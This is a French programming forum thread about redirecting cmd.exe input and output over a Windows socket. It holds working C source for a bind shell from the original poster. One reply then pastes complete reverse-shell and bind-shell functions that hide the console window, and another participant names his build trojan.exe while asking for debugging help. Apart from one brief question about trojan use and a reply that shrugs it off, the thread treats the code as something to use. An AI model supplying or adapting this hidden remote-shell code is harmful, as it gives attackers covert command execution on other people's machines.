CreateProcess sur socket

Signaler
Messages postés
255
Date d'inscription
samedi 20 avril 2002
Statut
Membre
Dernière intervention
16 janvier 2007
-
Messages postés
4
Date d'inscription
mercredi 11 octobre 2000
Statut
Membre
Dernière intervention
30 décembre 2008
-
Je cherche un moyen d'associer une socket avec un CreateProcess afin de lancer un shell sur CMD. Malheureusement, je ne trouve pas de liens intéressants sur le sujet. Beaucoup de code mais pas très optimisé! Sauriez-vous comment faire? Voici ce que j'ai de plus rapprochant. Qu'en pensez-vous?

#include "stdafx.h"
#include "winsock2.h"
#pragma comment (lib,"Ws2_32.lib")

int _tmain(int argc, _TCHAR* argv[])
{

WSAData wd;
WSAStartup(MAKEWORD( 1, 1 ), &wd);

SOCKET sock;
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(7777);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&sin, size);
listen(sock,1);
int newsock = accept(sock,0,0);
closesocket(sock);

PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput si.hStdOutput si.hStdError = ( HANDLE) newsock;
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &si, &pi);

return 0;
}

9 réponses

Messages postés
62
Date d'inscription
jeudi 5 juin 2003
Statut
Membre
Dernière intervention
14 octobre 2005

'lut

euh, pas bien compris....

tu veux cree un process a quel moment ??

la , c'est quand un client se connecte sur ton socket, c'est sa ??

tu veux crée se process via une commande envoyer depuis le réseaux ??

sinon, si c'est en interne, ce serait pas plus facile de crée un événement ???

++

neoh_p [=- coding spirit -=]
------- since 1999 ------
Messages postés
241
Date d'inscription
mardi 29 octobre 2002
Statut
Membre
Dernière intervention
23 janvier 2006

Si j ai bien compris tu cherches a rediriger la sortie et l entree standard de cmd.exe sur une socket. Ca m interesse aussi sous windows!! J avais regarde si je ne pouvais pas porter un code exisatant sous Linux pour windows ( a base de pipe() et de fork()) mais ca ne marche pas... :-(
Messages postés
255
Date d'inscription
samedi 20 avril 2002
Statut
Membre
Dernière intervention
16 janvier 2007

MetalDwarf tu as compris mon projet. C'est exactement cela. Je cherche à rediriger les Input Output de cmd sur un socket. Une espèce de WinShell quoi! Qu'est ce que vous en pensez?
Messages postés
62
Date d'inscription
jeudi 5 juin 2003
Statut
Membre
Dernière intervention
14 octobre 2005

'yop

ah oué ok je commence a comprendre + meiux, la...

dite, votre truc, se serait pas pour faire un trojan, desfois ?

bon , juste si c'est pour sa, tu lance un serveur telnet pis c'est fini...
sinon un moyen simple d'utiliser les commandes, c'est de l'envoyer a distance dans un chaine via le socket et de faire un vieux system() dessus....

'fin voila, si c'est pour du hacking, debrouillez vous....

neoh_p [=- coding spirit -=]
------- since 1999 ------
Messages postés
255
Date d'inscription
samedi 20 avril 2002
Statut
Membre
Dernière intervention
16 janvier 2007

Tout de suite les grands mots et les sujets qui fachent :)
NetCat, c'est du Hacking? Le fait de savoir 'comment' et 'pourquoi' ne me semble pas être répréhensible...
Merci à tous pour les informations ++
Messages postés
62
Date d'inscription
jeudi 5 juin 2003
Statut
Membre
Dernière intervention
14 octobre 2005

lol

non non c t pas pour faire la moral... ;)

et c'est tout a fait bien de savoir 'comment', on s'en protege d'autant mieux quand on sait, c vrai

eh bin de rien si tu a les infos que tu cherchais...

aller bonne prog

++
neoh_p [=- coding spirit -=]
------- since 1999 ------
Messages postés
32
Date d'inscription
samedi 9 août 2003
Statut
Membre
Dernière intervention
24 août 2005

source venan dun site dont on donnera pasle nom...
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void ReverseMe()
{
WSADATA wsa;

SOCKET s;
SOCKADDR_IN sAddr;

USHORT port;
char *addr;

PROCESS_INFORMATION pi;
STARTUPINFO si;

//change port here
port = 12345;
//change ip here
addr = "127.0.0.1";

memset( &si, 0, sizeof( si ) );
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

sAddr.sin_addr.s_addr = inet_addr( addr );
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;

WSAStartup( 0x0202, &wsa );

s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
connect( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );

si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

WaitForSingleObject( pi.hProcess, INFINITE );

CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );

WSACleanup();
return;
}

void ListenMe()
{
WSADATA wsa;

SOCKET s;
SOCKADDR_IN sAddr;

USHORT port;

PROCESS_INFORMATION pi;
STARTUPINFO si;

port = 12345;

ZeroMemory(&si,sizeof(si));

si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;

WSAStartup( 0x0202, &wsa );

s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
listen( s, 5 );

__asm
{
push ebx
mov ebx, s
}
s = accept( s, NULL, NULL );
__asm
{
push ebx
call DWORD PTR [closesocket]
pop ebx
}

si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

WaitForSingleObject( pi.hProcess, INFINITE );

CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );

WSACleanup();
return;
}
Messages postés
241
Date d'inscription
mardi 29 octobre 2002
Statut
Membre
Dernière intervention
23 janvier 2006

Bizarrement ni l une ni l autre des fonctions ne marche chez moi.
Le programme dans lequel j ai integre ce code est en C et j utilise winsock 1 et non winsock 2 (compatibilite avec le reste du programme), mais je ne pense pas que le probleme vienne de la.

deja dans CreateProcess() le dernier parametres est "?". Je l ai evidemment change en &pi, (d apres la doc msdn c est le parametre qu il faut).

Ensuite le programme compile, s execute mais des qu une connexion arrive (par telnet), le message est le suivant :

"Unhandled exception in trojan.exe : 0xC0000005 : Access Violation"

Ou est le probleme? Faut il des privileges pour executer ceci? Desole si je parrais un peu con, mais je maitrise bien plus la programmation systeme Linux que Windows...
Messages postés
4
Date d'inscription
mercredi 11 octobre 2000
Statut
Membre
Dernière intervention
30 décembre 2008

Yep ! Il me semble que tu dois d'abord t'assurer que ton binaire possède le Debug Privilege...

FRoG